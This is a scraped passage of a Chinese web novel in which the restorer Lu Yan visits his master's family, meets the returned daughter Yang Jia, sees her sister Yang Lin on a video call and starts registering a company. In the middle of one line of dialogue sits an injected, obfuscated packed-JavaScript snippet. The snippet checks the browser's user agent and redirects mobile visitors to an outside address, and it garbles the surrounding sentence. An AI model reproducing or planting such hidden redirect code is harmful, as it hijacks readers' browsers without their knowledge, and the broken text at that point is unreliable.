妆容走的是欧美范,挑眉,深轮廓,哑光红唇,整个人像刚从时尚杂志里走出来,与周围斑驳的灰墙、老旧的马头墙装饰格格不入。 她撇了撇嘴,从手包里掏出小镜子照了一眼,将眉毛改柔和了些、确认这身行头不会让父母一见面就唠叨,才拖着箱子推开熟悉的木门。 天井里的老枇杷树有些稀疏,枝丫沉默伸向天空。 “老杨!许姐!I''mhome!Excuseme?有人在不?” 她声音清脆,带着一丝刻意活泼的洋派腔调——快一年没见,激动里难免掺了点表演欲。 厨房里‘咚咚’的切菜声戛然而止,随即许婕声音抬高了回应:“嘉嘉?是嘉嘉回来了?!老杨你还坐着孵蛋啊!快去开门!” 脚步很快传来,汲着棉拖鞋的杨启文拉开里面的房门。 “咔哒!” 去年退休的他,身材依旧高大,眉眼间沉淀着往日的不苟言笑,此刻却全然化为了慈祥,他上下打量着女儿,眼神亮得像捡了宝。 在那个年代,三十五岁才得这么一个女儿,不是老来得宝又是什么呢? “嘉嘉,快,进来进来,”他忙不迭地接过那只轻巧的登机箱,眉头微皱,却笑得合不拢嘴,“不是说明天的航班吗?” “Surprise啊,Dad!” 杨嘉笑起来,带起一阵带着香风从父亲身边掠过,如同一柄彩色的刷子,瞬间给这间色调沉旧的屋子抹上亮色。 “按时间回来你又要准时去接,多没劲!” 岁月不可避免地让眼前的一切显得干燥,过往仿佛一阵风就能吹散。 而对杨启文而言,此生最放不下的牵绊,多半都系于眼前女儿身上。 他掂了掂手里轻得过分的箱子,疑惑道:“怎么就这点行李?你不是说回来要办展的吗?” “Ohmygod,爹地!” 杨嘉夸张地叹了口气,脱下风衣挂在门边衣帽架上,露出线条优美的肩膀和手臂,“Ic ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246370|177150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' an''tpossiblycarryawholeexhibitionwithme,right(一个人带不了)?肯定是走物流托运啊!” 若说别人操着一口洋文对他讲话,早就被清出去了——他们多数反感这样中不中、英不英的腔调。 然而如果是自己女儿的话......老人尴尬的笑笑。 屋内的陈设依旧。 靠墙立着深色的五斗柜,旁边是那张被岁月磨出温润光泽的核桃木八仙桌,桌上的石英钟滴答走着。 空气里弥漫着熟悉的木料淡香。 “嘉嘉,一会让你妈停手,我来做糖醋小排给你吃。” 那是杨启文的招牌菜,每回自己徒弟过来都说馋得不行,块块都吃得干净。 杨嘉叹了口气,“哎,又是是记忆里顽固的家的味道啊。” ...... 几株玫瑰静立在铁艺栏杆后,如记忆宫殿的守卫。 推开略响的栏门,便是那耗费数月心血、承载众多故事的老洋房。 天光温和,他再次立于前院,端详那丛未曾送出的玫瑰——此刻正开得娇艳。 它们偶尔会在风中打招呼似的摇晃;花瓣间的弯弧,恰似一个人微笑时、嘴角的扬起。 与花打过招呼,他缓步向内走去。 石阶缝隙中的青苔比上月更茂了些,湿绿的细绒趴在石间,吸饱了屋内渗出的潮气。 推开门,半开的窗送入微风,空气里仍浮着淡淡的湿味。 四处罩着白色防尘布,玄关处的实木地板边缘微翘,缝隙中嵌了碎屑,踩上去发软。 墙根半尺高处留着一道浅黄水痕,边缘泛出灰霉斑点; 厅中央地板上留着四圈浅黑的印迹,之前的沙发已被移往干燥处; 墙上的浮雕也难免染了霉斑。 沿楼梯向上,仔细查看二层木地板、各个房间与阁楼。原预计两个半月的干燥期,如今已过三分之一。 还好有苏棠常来照看,若是自己隔三岔五地来,那不知道得矫情多久。 站在客厅中央,听着风钻过窗隙的微声,陆砚已不觉难过,只觉这房子正缓缓呼吸,静待潮气散尽的那日。 后来,他在日光下伫立良久,而后打车前往杨启文家。 第五十一章 装糊涂 北风卷过,将枯叶扫落天井。 那棵曾用落果屡屡砸倒邻居晾衣杆的老枇杷树枯了,如今晾衣杆稳稳地架在支架上,几间毗邻的石库门小楼便被插上了定海神针,安然浸在冬日慵懒的暖阳里。 陆砚拎着大包小包迈进天井,精神十足地朝里喊了一声:“师父!” 他是卡在午饭点来的。 厨房里的杨启文闻声探头望向窗外,不是他那徒弟还能是谁? “今天这菜香得嘞!我就惦记这口排骨!” “行了,先进屋坐,陪他们说说话。” 陆砚应了一声,轻车熟路往里走,心里正琢磨‘他们’指的是谁,忽见一身影从门边探出头来: “站住!” “我——” 猛地刹住话头,差点一句脏话脱口而出。 眼前的女人妆容浓重——虽不免有些刻板印象,但那深轮廓的欧美妆效确实容易让人联想到夜店风格。 她抱臂倚着门框,低领内搭勾勒饱满的曲线,那道细缝的阴影若隐若现,叫人眼睛不敢往上面落。 “……杨嘉?” “啧啧,可以啊陆砚,消息够灵通的嘛?我前脚刚进门,你后脚就追着来了?” “是啊,你鞋底有脏东西,我顺着脚印就跟来了。” “得了吧,咱俩反正尿不到一个壶里......让我看看都买了什么东西。” 得、得,真该叫顾南乔来见识见识,什么才叫真正的自来熟。 明明一年也见不了两三面,却能理所当然地从打招呼切换到搜查礼物,行云流水,毫不生分。 这份不讲究倒是一如既往,就像她当年非要把糖豆拌进炒菜里一样,恃宠而骄惯了是这样的。 “烟、酒、笔墨纸砚……还有这些土特产,”她翻捡着礼物,挑画得精细的眼线一扬,语速快得像连珠炮: “不是吧!你这选礼物的眼光怎么十年如一日毫无长进啊?这些老头乐的东西我爸是喜欢,但你就没想着给你美丽动人、远道而归的我带点啥?哪怕一支口红一瓶香水呢?You know, just something shows you actually care about my existence(礼物代表心意)?” 听着她喋喋不休,陆砚只觉得脑仁嗡嗡作响,意识几乎要飘离身体。 他嘴上应付着不咸不淡的话,心里却忍不住想: 以前杨嘉虽然也娇气,但至少清清爽爽,没现在这么让人头疼......我真是个外貌协会? ……不行,这妆化得实在让人很难觉得顺眼。 “陆砚陆砚,你知道我爸妈平时都是怎么夸你的吗?他们说你这人踏实、靠谱、有耐心,说我要是能有你一半省心他们就——” 她话密得几乎不留间隙。 名叫陆砚男人的试图转移话题:“师娘呢?在厨房忙着呢?” “先别管许姐,”杨嘉一挥手,打断他,“现在是social(社交)时间!我们很有必要好好聊一聊——” 没办法了,给话唠按下暂停键吧。 “嘉嘉。” 对方立刻伸手指下拉眼皮,做出一个夸张的嫌弃表情: “Oh, please!别这么叫我,this''s so disgusting(恶心)!” ...... 就像鹅城百姓殷切期盼马邦德县长上任一样,冯小军头一回如此思念一个男人—— 不对,更准确地说,是在这情况不算特别紧急、却又实在有点扛不住的关头,格外想念那位能镇场子的大哥。 井泵一压一抬,才出一股水;每涌一次,桶里的水面就晃荡一番; 好不容易接满大半桶,得吭哧提起,快步倒进灶房那口深水缸里,‘哗啦’倒一桶水大水缸水面就晃荡一番。 那么问题来了: 攒满大半个水缸,到底要压多少回井泵? 冯小军觉得,上面弯弯绕绕的文字读起来累人,但实际做起来更累! 眼下憋了一肚子大道理亟待倾吐,而最理想的吐槽对象——张师傅,偏偏不在身边。 呵、呵,当初陆哥说‘每天只干半天活’的开心,早已在世事变迁中化作一缕怨气。 凡事要适可而止,我可不是好好先生喔! 就在这时,前厅传来老板娘响亮的夸赞: “哎呀小张啊,你这手艺真不赖!连木梳子都修得这么好,还有什么是你不会的呀!” 紧接着是张野隐约又憨厚的回应。 多年来在学生会培养的敏锐嗅觉之下,冯小军心里更不是滋味了—— 连邀功都差人一截? 遂带着怨,越发用力地压水井。 ...... 桌上摆了六菜一汤,荤素搭配、热气腾腾,典型的家常盛宴。 许老师招呼他们来吃饭的时候,陆砚觉得自己仿佛一口气压了四五桶水那么累。 然而坐下就轻松了吗? 当然,心态好的人眼前会出现一道选择题——是想收听许老师的育人小课堂,还是杨嘉中英混杂的西式八卦腔。 本小章还未完,请点击下一页继续阅读后面精彩内容!当然,现实往往不给让你成为心态好的人,就像‘成年人的标准年龄’,没到那个岁数,有些选项根本不对外开放。 “陆砚你去坐到嘉嘉那边,跟你师父坐近了一会又不知道喝多少。” 师娘鬓角的银丝锃亮如上公开课,这祈使句的下达亦有种‘那谁,搬到讲台边上来坐’的不容置喙。 他积极响应,起身先替杨启文斟满酒,顺带对那瓶一看便是杨嘉带回的洋酒恭维了一句,才乖乖挪位。 按说是给杨老头过寿,可干巴巴举杯又实在烘不起气氛,这不得先铺垫一下? “师父,许老师,辛苦您二老张罗这一大桌!” “马屁精!” 这抨击来得又快又急,几乎压着陆砚的尾音蹦出来,除杨嘉也没别人了。 “你吃醋了?”陆砚面不改色地接话。 “哇你这人——” “好了嘉嘉,咱们家宴也要有纪律。” 许老师以其毋庸置疑的‘生态位高度’一举夺回话语权,陆砚学着杨老头,笑呵呵地观望。 她继续说道:“你跟陆砚一年难得见上几回,一会让他带你出去玩,你们有的是时间闹。” “...” 陆砚神情一凝,扭头,正对上杨嘉那张写满‘尴尬’的黑脸,才陡然放心——一个巴掌拍不响,他们一个巴掌都没有,肯定不响。 “嗬嗬,来,咱们一家子先碰一个。” 寿星见势挑头,举杯相邀,陆砚捧着喜庆话就上了——都是提前准备好的: “师傅,一口长寿酒,年年少烦忧啊。” 杨启文嘴角少见向上弯了弯,点头,两人酒杯磕响。 如果世上真有长寿酒,那一定是由衷的祝贺与陪伴酿成的,杨嘉随后跟上,画风突变:“爹地,Happy birthday! I love you so much!” 一句不符合本土表达方式的祝福,在她那夸张的眼线和真挚的表情衬托下,竟也有几分动人。 过于西式的风格固然突兀,但谁说就一无是处呢? 至少在这片讲究含蓄的土地上,‘爱你’这个词,少有子女说出口。 众人笑饮一口,许老师放下杯子,开口: “嘉嘉,你知道你爸爸今年生日愿望是什么吗?” 陆砚刚坐下便听到这么一句,顿时看向杨启文,杨启文笑而不语,一副完全把‘生日愿望’让渡出去的模样。 “不知道。”对方眨眨眼。 “不,你知道。”许老师说话连贯性极强,时常开口就停不下来,“我们是三十岁以后才有的你,上一辈人晚婚晚育,他们就盼着下一辈能早点......陆砚,是吧?” 点名的瞬间,躲在被窝打刺激战场的兄弟一下穿越到战场,刺激也太真实了! 对于个人来说,战场第一原则是什么? 保命(低调)。 “是的。” 他回答得毫不犹豫。 不管对面说了什么,刺激战场士兵的第一使命就是服从! 许老师满意的话锋一转,“陆砚,你跟我们自家孩子一样,师娘就一块说了。你们一个个就喜欢单打独斗,一个人生活,哪有两个人协力合作来得快......” 根据小学语文阅读理解的直觉,陆砚大感事情逻辑走势不妙,茫然紧张间,目光看向杨启文——杨启文嘴角少见向上弯了弯,点头。 许老师一个劲输出、杨老师一个劲点头......五十知天命、六十而耳顺,孔夫子诚不欺我! 这装糊涂的境界已然臻至化境! 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第五十二章 天命 倘若并非家中独子,此类‘关怀’自有长子顶在前头。 好消息是,许姐方才亲口说了,陆砚就像自家孩子——所以他理当顶上; 坏消息是,听这意思,他们似乎不仅仅希望他‘像’自家孩子,而是真心盼着他‘是’自家孩子! 杨嘉眼见“无能的临时长子”已汗流浃背、即将要祸水东引,无奈,只得有样学样地出招了: “爹地,姐姐呢?你不是说她跟你关系缓和了吗?” 这轻声一语如平地响雷,骤然穿透许老师有条不紊的话语,直直炸进陆砚耳中。 姐姐? 一个埋藏已久、曾多次想对杨灵开口却始终未能说出的烂梗,此刻猛地浮现——灵灵,我师父姓杨,他女儿叫杨嘉,你们该不会是亲戚吧? 世间杨姓几何,不会真那么巧吧? 略微僵硬动作下,悄悄放下筷子,屏息望向杨启文。 “嗯——,给你姐打个电话问问。” 此话一出,连许老师也安静下来,一桌人齐齐投向杨嘉和她那即将亮起的手机屏幕。 陆砚的心跳陡然加快,他猛地想起修彩绘雀替时,杨灵为了替他省钱,隔着苏棠的电话冷静分析说,‘考虑经济与艺术的平衡,可以引入碳纤维加固,基础轮廓先用机器粗加工......’ 具体已然记不清,但他还记得,杨灵的方案足够替他省大半开销。 那时是怎么想的? 旁人笑她幽默,他没有阻拦,甚至隐隐认为,外行人终究不懂老物件的分量。 “噔噔噔噔噔噔——” 她打的是视频! 铃声每响一声,时间就被拉长一寸,唯有心跳加速。 一秒钟如此漫长,他不知道为何紧张,也不知道为何煎熬,可能是爱,也可能是愧疚。 “噔——” 最后一响,他的整个世界骤然收缩,凝聚于眼前方寸屏幕,连视频画框边缘的黑色缝隙都变得纤毫毕露。 接通瞬间画面先是一顿,随后,一道身影蓦然出现: 齐肩的中发柔软垂落,鹅蛋脸被岁月打磨得清透; 她仿佛连呼吸都带着书卷气,沉静如工笔细描; 下颌的线条收束得极轻极淡,如画师运笔至此处,微顿而收,那一顿,恰恰补缺了陆砚心跳漏掉的节拍。 男人的每一个细胞都在无声呐喊,仅仅隔着屏幕看见她,浑身血液就足以雀跃起来。 “姐,晚上好呀,嘿嘿。” “中午好。” “我在跟我爸妈吃饭呢,喏!他们想看看你。” 杨嘉将手机翻过来、镜头划过的一瞬,陆砚像被美杜莎的视线扫过—— 手机在手里做一百八十度翻转时,这意味着总有一个角度,他会和对面的人正面相视,尽管这个角度存在的时间可能不过0.01秒,可陆砚愿意为了这一时刻,毕生钻研时空微积分,用有限的精力,将这一瞬间无限延长。 他知道,他爱她,这爱意从没有这一时刻涌现得汹涌,爱意之绵长,山高路远,奔涌不息。 “叔叔,生日快乐。” 她咬字很轻,唇齿碰撞间,雪落荒原,寂静而震撼。 ...... 习惯了不去先科打卡的顾南乔,如今已迅速进化到‘不去公司’以及‘去其他公司打卡’的新阶段。 叶莉的办公室位于三十二层,紧邻上次开组会的会议室,她桌旁新添了一张办公桌,是专为顾南乔准备的。 正如众人所期盼的那样,新位置带来了新气象,中君组内几位同事每次前来汇报时,都能明显感觉到组长身边那位漂亮律师状态不错,尤其是今天,眼睛卟啉卟啉地闪光。 这当然不是爱情的滋养。 爱情何德何能,竟有如此魔力彻底改变一个人? 反正顾南乔不信。 这是新生活开启时,希望之光在前方照耀,所激发出的蓬勃活力。 她第三次拿起那只香奈儿手包,动作轻巧地拉开搭扣。 包内几乎空空如也,仅有一支口红和一包湿纸巾。 包是昨天翻找出来的,拿来配包上面,昨天刚系上去的小挂件刚好。 那可不是什么普通物件,而是用细腻皮革一块块手工拼接、以精巧扣子固定的钥匙包。 不仅仅是钥匙扣,还是挂件,牵挂嘛,男人的心思她懂。 而且无论从配色还是设计,对方这次的挑选,都精准地契合了她的眼光~ 嘴边笑了笑。 此时,叶莉从门外走来,一眼瞥见自己桌上那份包装得像礼物般的精致食盒,有些无奈开口: “真的不用特地给我带这些午餐,太破费了......而且我也吃不惯。” “叶律师,吃嘛吃嘛!”她边说边将手包收进挎袋,抬起头,绽出一个明媚得足以令冰雪消融、四季转瞬交替的笑容,“您值得享有。” 叶莉望着她,怎么也摆不出平日不苟言笑的态度。 严厉的批评早已说过不止一次,可行为永远是超越言语、在事实层面更具说服力的证据。 本小章还未完,请点击下一页继续阅读后面精彩内容!她受人之托带着顾南乔做案子的事,又怎么可能一直瞒得住? “顾律师,这次就算了,下不为例啊。” “知道啦,知道啦~” ...... 若将人比作一瓶可乐,心情便是其中奔涌的气泡,时而因外力摇晃而翻涌,时而因静置渐归平复。 归根结底,内部压力再大,外部的瓶身总归绷得住,维持着一派沉稳的表象。 陆砚神态、姿势尽显恭敬,坐在中堂主桌一侧——那是张传统的靠墙方桌,正对大门,两人相侧而坐——听杨老头说着: “翻过年来,可以多做些项目攒家底了,现在的年轻人还是要学会存点钱、存住钱。” “是的,我也有感触。” 杨启文吐了口烟,烟还没散尽又喝了口茶,日头晒在脚边,道: “有空先把公司办一个,迟早用得上。” “好嘞,这两天就去办。” “下午带嘉嘉出去转转——” “我不用!” 被许老师叫走‘补课’的杨嘉突然杀回来,顶着魔丸似的眼线将陈塘关的陆砚救了出来。 只有他自己知道,用‘救’是毫不夸张的说法。 他是个面对沈秀娥多炒一两个菜的小恩小惠都记在心里的人,面对杨启文的期盼,拒绝是何等棘手。 倘若命运将他和杨灵错开倒也罢了,如今,可能往后,他的心里都不会有其他女人。 仿佛终于找到自己的天命,将毫无理由、义无反顾去靠近、去追逐,而此间所有的牺牲,都是为了......自己! 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第五十三章 态度 二十来岁的人在家嚷着‘绝对不要’、‘完全不可能’时,多半是在撒娇。 杨嘉扭捏了五分钟,最终还是顺了父母的意,跟陆砚上了同一辆车。 “喂,就是出来转转,不是出嫁啊大小姐!” 陆砚边吐槽,心思比初见那会活泛了不少……谁让她姐姐长得那么好看呢! “态度!你懂什么叫态度吗?Attitude!不把态度摆明,万一你真得手了还得了。” 她说笑着,倒是没有字面上那么敌意,仿佛随着家门越来越远,她面上装出来的抗拒也渐渐缓和。 事实上,他俩本该如此。 话不用那么多,关系不用那么紧张,因着长辈这一层,更不必那么生分。 “行啊杨嘉,这一点我们倒可以达成共识。” 泰安路的红绿灯格外漫长,长到陆砚憋了又憋,还是想问问: “......方便问一下,过年你姐姐回来吗?怎么以前都没看到。” 他年年给杨师父拜年,各路亲戚见了个遍,没理由会忘了杨灵的模样,唯一可能的解释,就是两家来往得少。 “哎!”她突然来了精神,侧过头,一副‘我可不困了’的表情,“我姐漂亮吧?在MTI读博士呢......嘿嘿,不过你就别想着吃天鹅肉啦。” “想都不让想?指望你介绍给我认识呢......你这什么表情?” 她脸上写满了想炫耀又忍不住嫌弃的纠结,神似‘小时候花大价钱买的冰棒掉在地上,认真考虑要不要洗洗再吃’的犹豫。 “大哥,你是不是跟我们杠上了,找个不姓杨的姑娘不行吗?” 陆砚暗暗劝自己:这位可能是未来的小姑子,得忍着点。 随即按下反驳的冲动,继续套话: “你想啊,我要是跟姐姐在一块,妹妹不就解放了?都一家人,师父肯定不会再撮合咱们了。” “道理是这么个道理,但打我死也不会这样做!” 年轻人说话总爱走极端——明明刚才还在家喊‘绝对不跟他出去’呢。 之后又试着旁敲侧击,可她死活不接招,不解释、不搭腔,顾左右而言他,全然不见在家时的话唠劲儿。 陆砚甚至觉得,对方闪躲的模样,实在对不起脸上那副张扬的妆容。 “别问啦,说那么多不累吗......你这是要带我去哪?” 眼看快到目的地,对方仍不打算‘出卖自家姐姐’,陆砚索性撕破脸皮,没好气地回: “把你扔同济了,我有事要忙呢。” 杨嘉一脸不可置信——这并非对男人的冷漠而惊讶,而是对自己即将到来的无聊下午而感到不可置信。 回国第一天,平淡的吃饭,平淡的出门然后平淡的再回家吃饭? “你就这么安排的?你凭一己之力拉低了国男的水准知道吗?下头!” 司机把车缓缓停稳。 陆砚已经懒得搭理这位‘没有价值的小姑子’,降下车窗对远处走来的女孩喊道:“苏棠!我的好朋友,昨天酒后状况还好吗?” 远远听见男人谄媚的呼喊,苏棠加快脚步贴到窗前,整张脸几乎探进车里,活泼地应道:“没事呀~突然约我出来干嘛?” 这个句子当中她用了些隐秘的词汇,不过自己超级无敌青春的脸庞是不会引起怀疑的......看看这小小的语言歧义能否晃得男人头晕目眩呢—— 好吧,对面比想象中的能演,面上波澜不显: “送你个小姐妹,带她随便逛逛,经费两百,剩的归你。” 话到一半,苏棠的目光就跳上男人的脸、嘴唇、在喉结处拐了个弯,落向副驾上的女孩——对方打扮得有点朋克范儿,像玩乐队的那种——这风格她熟啊,一直想试试类似的造型! 你凝视她时,她也在凝视你。 杨嘉本来有些不美好的心情,从苏棠出现在车窗旁的那一刻起,眼里就开始冒粉红泡泡——这女孩太可爱了,可以爱! 而当听到陆砚说‘让这位上学的小妹妹陪你’时,她的右手已然扒上车门把手,兴奋得像第一次去迪士尼乐园。 ...... 沈秀娥哼着小调,又从屋里翻出几件旧物件—— “张师傅哎,你看看这个凳子腿能不能加固一下?还有这个台灯,时亮时不亮的......对了,下午要是还有空,能不能帮忙看看浴室那个热水器喷头?也不知是花洒堵了还是水管漏了,水总是淅淅沥沥的。” 眼见把两位师傅今天的时间也塞得满满的,心里就想在路边一连捡了好几捆白菜那样舒坦。 自家孩子也是,浴室有点小毛病都不知道吱一声,要不是她这几天睡过来,这问题还不知道要拖到什么时候。 现在人工多贵啊,换个灯泡、补道墙缝,动不动就是几十块...... 能不花钱解决的事儿,干嘛要往外掏?不就是张个嘴、他们顺手的功夫嘛,能省则省! 她抬眼看了看时间,打算出门买菜——陆师傅之前说两天就回,也不知今天算第一天还是算第二天。 这章没有结束,请点击下一页继续阅读!于是放下菜篮子,拨通了电话。 “喂?陆师傅呀,在忙呢吗?”她声音里透着热络的劲,几乎要溢出听筒,“哎呦我正打算去市场买点好菜,给你接风呢!就想着问问具体什么时候回来?” 电话那头说了几句,她脸上的笑容微微一顿,但还是连声应着: “啊?哦......好、好嘞。那你尽量快点啊,我们都盼着呢!” 挂了电话,沈秀娥盯着空菜篮,一时没动作——陆砚说上海那边的事还没处理完,得多待几天。 多待几天,就意味着这边的工期也得跟着往后延。 延一天,就得迟一天开店,多管两顿饭......进进出出可都是钱啊。 ...... 之前在陆砚团队搞瓦作修复、后又带着小李跑苏州装民宿的老李,回来一个星期了。 印象里也就在外面呆了两个多月时间,没想到环境一下子大变了模样—— 以前一天五百、长期四百的薪水,如今变成三百、活还排不满的局面。 按这样子做下去,一个月拿六七千怕是够呛,若是年轻也就算了,如今四十多岁的年纪,养家糊口的压力,刚刚在外面尝到甜头的老李,又怎甘心当一个不同工地窜来窜去的民工? 十二天后就是十二月二十四号,女儿考研初试,考完以后要过年,翻过年来又要交报名费,还得额外花一万块报复试班。 老李算了算积蓄,差不多够用,但以后收入下滑了,谁知道能用到几时? 前天张野说,陆砚回了上海...... 他抽完手上的烟,摸出手机来。 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第五十四章 落空 “基础证件是基础证件,公司注册是公司注册,侬还真以为拿个三天就能办下来的营业执照,就能开公司啦?” 陈禹表情夸张,语气激动,恨不得从陆砚身上咬下一块肉来—— “一个古建三级承包资质就要实缴五百万!你知道什么叫实缴吗?这不是口嗨的!” 陆砚也好不到哪去。 本就因反复走神思考‘杨灵怎么会和杨启文一家有关系’而心烦意乱,一抬头又看见方霖正娴熟地为他们沏茶,更是浑身不自在。 是了,陈禹竟把他婚外情的对象安排到公司上班,这个事实如同最后一根稻草,压得他头晕目眩。 “你小子真是走了狗屎运,有杨老头一路托着......这下倒好,你倒先一步要开大公司了。” 公司和公司之间,天差地别。 像陆砚想做的这种‘古建修复工程’公司,属于专项资质领域,申报门槛高、审批严、资金要求更是硬性规定,和那些随便租个门面就能开张的普通小微企业完全不同—— 它绝非商业版图里最底层的那一档,而是需要真资格、厚家底才能玩转的赛道。 所以,陈禹的眼红再正常不过——至少,他是当面眼红。 “好了,陈老板,”陆砚无意纠缠,顺势站起身,“我出去接个电话。” ...... 一下午事务繁杂。 与陈禹见了面,确认仿古砖的货运细节,又请教了注册公司的流程——对方建议通过‘一网通办’提交电子材料,说营业执照下来得快。 途中和老李约了个饭,具体时间没排出来。 最后卡在傍晚准时接上杨嘉,回到杨老头家吃饭,顺便聊了聊情况——关于办公司后续发展的诸多事宜。 短短几个小时,涵盖了过去的人际关系、现在的民宿装修、未来的事业规划和发展。 尽管做了这许多事,此刻在他脑中不断回响的,却只是中午那通不过两分钟的视频电话—— 杨嘉说‘晚上好’,杨灵并未纠正,淡淡回了句‘中午好’......这说明她不在上海......请假散心? 挂断后她很可能睡了。 依照过往的了解,他查看起美国时间——十二个小时的时差。 思忖着,今晚九十点钟或许可以发条微信问候......等等! 中午通话时已近十二点,杨灵何时这么晚睡过?她会不会根本不在美国?是不是自己算错了时差? 种种思绪缠绕身,转眼晚上八点,陆砚转到新华路边、进入洋房区的插口。 初冬的夜气漫上来,玫瑰花瓣上已凝起薄薄一层霜。 手机亮了。 顾南乔发来的消息——这是他去苏州之后,她发来的第一条微信。 我系统呢:山姆超市熟食区也还不错,晚上要不要一起吃点(月亮.jpg)? 陆砚的第一想法是,杨灵的情况可以去问问顾南乔,随后才是‘你怎么这么晚还没吃饭’。 紧接着,强烈的排斥感猝然袭来。 这情绪如此汹涌—— 首先,他不愿以异性身份与她谈论杨灵,这不是为了保有他们间的可能性,而是怕不经意影响对方的心情; 其次,他不愿在这样一个夜晚,与一个美丽到令自己心动的异性单独相处,这是为了爱的忠诚。 尽管这份觉悟,来得太迟。 他想起曾经的自己,和杨灵将要在一起时,理智反复追问:你明明不爱她,为何要开始? 可后来奇迹般的放下了对林晚声的执念,痴迷上了她。 直至犯错、分手,直至此刻,他才终于推翻了自己‘不爱’的断言,不可自拔地彻底沦陷进去。 低头打字,指尖微凉: 墨斗先生:今天在师父家里。 我系统呢:好吧,那我独享咯~ 我系统呢:明天周三,要去参加苏棠的盲盒夜吗? 陆砚顿住了,脑海里仿佛有一场黑白电影正演到决绝处,幕布骤暗,音符戛然。 他按下回复,也按下了心头最后一丝摇摆: 墨斗先生:顾姐,我这几天准备办个公司,苏州那边也在催。 事实上,办公司、苏州工期,与晚上抽两小时何干?顾南乔难道不忙?她一样能挤出时间。 这就是婉拒,一口气说出来稍微有些不委婉,可他不在意了。 那头静了一会儿,才回过来三个字: 我系统呢:好,加油。 透过这短短的讯息,仿佛看见拥挤的山姆超市入口,顾南乔正逆着人流独自向前。她走向熟食区,站在面带倦容的导购员面前,等待一份或许并不想要的试吃品。 不忍想象,却必须决绝。 反正还有两天,延迟转账就到了。 ...... 白炽灯把图书馆高大的玻璃窗照亮,空气里弥漫着旧书页和木架沉淀的安宁气息。 苏棠面前摊开着考公资料,手中的笔却久久未动,蹙着眉,看似在严肃思考申论题型,实则脑子里正不受控制地回放着下午和杨嘉逛校园的诡异画面。 本小章还未完,请点击下一页继续阅读后面精彩内容!怎么会这样呢?她百思不得其解。 明明是和一位二十五六岁的大姐姐相处,为什么竟会生出一种和孙逸川待在一起时的、那种被热情笼罩的无措感? 起初,对方极其自然地挽上她的胳膊,嗯,冬天嘛,挽着取暖倒也说得过去。 接着,两人各买了一杯奶茶,沿着同心湖散步,走到一半,对方忽然眨着画着夸张眼线的眼睛,凑过来说,‘棠棠,你这杯看起来好像更好喝,给我尝一口呗’,然后就着她手里的吸管就喝了一口。 苏棠当时整个人都僵了一下。虽说闺蜜之间分享饮料再正常不过,但……她们好像今天才第一次见面吧?! 这位姐姐是怎么回事嘛! 难道是因为国外留学的经历让她性格这么外放?还是陆砚私下跟她说了什么,才让她对自己如此……活络? 就......就一点都不朋克,简直对不起脸上个性的妆容! 苏棠一直有个改不掉的毛病: 不管男人女人,只要对方表现出过度的热情和喜欢,她非但不会觉得开心,反而会立刻兴趣缺缺,甚至心生抵触。 正当她对着资料页神游天外时,桌面的手机屏幕倏然亮起。 笑过川河(孙逸川):学姐,我听说,你每周三都有演出,我能不能去看看呀(小熊害羞.jpg)? 苏棠的网名叫‘再睡五分钟’,所以回消息不及时对方应该能理解。 再说了,让拒绝来的迟一些,也算赠与他一场美梦吧。 刚放下手机,信息又来了—— 白色手套:周三能去看你的演出吗? 好吧,看来被奇怪大姐姐缠上了。 学习?这还学个屁! 她嘴角抽了抽,准备把问题抛给那个罪魁祸首的男人。 ...... 他深吸一口气,像是要赴一场重要的战役。 在此之前,已在心中反复演练过无数遍: 男人该放下面子,抓住最实质的东西才有幸福未来;既然做错了事,主动道歉是理所应当; 大不了,就从一句礼貌的问候开始,再体面地结束对话…… 伸头缩头都是一刀,陆砚站在老洋房门口,对着花束中最鲜艳的玫瑰、将删了又写、往复好几遍的信息一咬牙发了出去—— 几乎就在同一瞬间,屏幕上猝然弹出一个无情的提示——一个刺眼的红色感叹号,紧随其后是一行系统小字: ‘消息已发出,但被对方拒收了。你们已不是好友。’ 喜欢沪上危情请大家收藏:()沪上危情更新速度全网最快。 第五十五章 不可避免的生活线 陆砚不想理会杨嘉,她的名字却通过苏棠再次跳到眼前;他一心想找杨灵,却发现对方早在不知何时就将他拒之门外。 呵,生活竟是如此爱捉弄,哥们习惯了。 无论心头最大的石头如何落下,总会有第二大的立刻补上。但奇怪的是,一夜醒来,预想中的失落并未降临,反而被一种奇异的充实感取代——这大抵就是事业带来的安慰吧。 说起事业,他不禁想起影视剧里端坐长椅、摇晃红酒品尝鱼子酱的‘成功人士’。 可谁又知道,这些成功人士第一次吃鱼子酱时,是不是也手忙脚乱、不知所措? 同理,头一回开公司,对证照办理、税务登记这些事还没有实感,但,一条向上的阶梯已清晰地在眼前铺开,他需要一边攀登,一边解开乱麻的生活线。 当然不会放弃追寻自己的‘天命’,但这不妨碍斗志昂扬地闯下去。 说到闯,待会就得去银行,这天气......得找条秋裤穿上。 ...... 他错了。 头一回吃鱼子酱的局促,和头一回跑公司手续的懵懂,根本不可同日而语。 就像收到一份包装精美的生日礼物和拆一个来历不明的盲盒—— 前者你终会在一片祝福中稳稳接住,后者你却要怀揣隐隐的不安,走向一个好坏参半的结局。 “陆先生,为您核定的税种是‘建筑服务-修缮服务’,对吗?” “是的。” “陆先生,请问您单位联系电话是预留这个吗?” “是的。” 他昨天在短视频里刷到过某些地方办业务极其麻烦,来回跑、重复排队,当时还想:幸好这是在上海,总该便捷些。 事实上,上海确实高效。 即便有不明白的地方,工作人员也会极有耐心地、像一块行走的指示牌般领着去该去的窗口,耐心解释每一个表格字段该怎么填。 但想象终究是有限的,没有亲历过的事,人们永远无从预知其全貌—— 一项接一项地勾选、声明、确认,让他不得不放缓节奏,仔细核对。 随后还有人工二次审核,逐一排查是否存在勾选错误或遗漏。 疲惫,总在过度劳累后。 而今天的疲惫,居然还没到午饭点就早早找上门。 